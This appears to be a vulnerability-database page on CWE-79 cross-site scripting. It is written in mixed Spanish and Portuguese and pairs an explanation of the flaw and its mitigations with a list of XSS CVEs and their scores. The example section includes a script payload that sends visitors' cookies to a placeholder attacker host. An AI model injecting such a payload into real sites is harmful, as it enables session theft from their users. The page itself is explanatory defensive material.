Fallos del tipo CWE-79

30.149 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-9718MEDIUMO2OA Personal Profile process cross site scriptingEPSS 0.3%CVE-2025-8539MEDIUMPortabilis i-Educar public_distrito_cad.php cross site scriptingEPSS 0.3%CVE-2025-9736MEDIUMO2OA Personal Profile statement cross site scriptingEPSS 0.3%CVE-2024-6262MEDIUMPortfolio Gallery – Image Gallery Plugin <= 1.6.4 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-9734MEDIUMO2OA Personal Profile stat cross site scriptingEPSS 0.3%CVE-2024-10223MEDIUMHT Team Member <= 1.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via htteamember ShortcodeEPSS 0.3%CVE-2024-32453MEDIUMWordPress POEditor plugin <= 0.9.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-41681MEDIUMPersistent Cross-Site Scripting via POST Requests Due to Improper Neutralization of InputEPSS 0.3%CVE-2026-12114MEDIUMTeam Members <= 8.7 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'custom_css' ParameterEPSS 0.3%CVE-2024-54046MEDIUMAdobe Connect | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-5661MEDIUMcode-projects Traffic Offense Reporting System Setting save-settings.php cross site scriptingEPSS 0.3%CVE-2024-43025MEDIUMAn HTML injection vulnerability in RWS MultiTrans v7.0.23324.2 and earlier allows attackers to alter the HTML-layout and possibly execute a EPSS 0.3%CVE-2026-15324MEDIUMSysBasics Customize My Account for WooCommerce <= 4.4.14 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via 'row_type' ParameterEPSS 0.3%CVE-2023-5118MEDIUMStored cross-site scripting vulnerability in Kofax Capture softwareEPSS 0.3%CVE-2021-26087MEDIUMAn improper neutralization of input during web page generation in FortiWLC version 8.6.0, version 8.5.3 and below, version 8.4.8 and below, EPSS 0.3%CVE-2024-32584MEDIUMWordPress TeraWallet plugin <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-0977MEDIUMTimeline Widget For Elementor (Elementor Timeline, Vertical & Horizontal Timeline) <= 1.5.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-12042MEDIUMWP2Social Auto Publish <= 2.4.12 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'pages' ParameterEPSS 0.3%CVE-2024-11993MEDIUMReflected cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.38, and Liferay DXP 7.4 GA through update 38 allowsEPSS 0.3%CVE-2024-20530MEDIUMCisco Identity Services Engine Reflected Cross-Site Scripting VulnerabilityEPSS 0.3%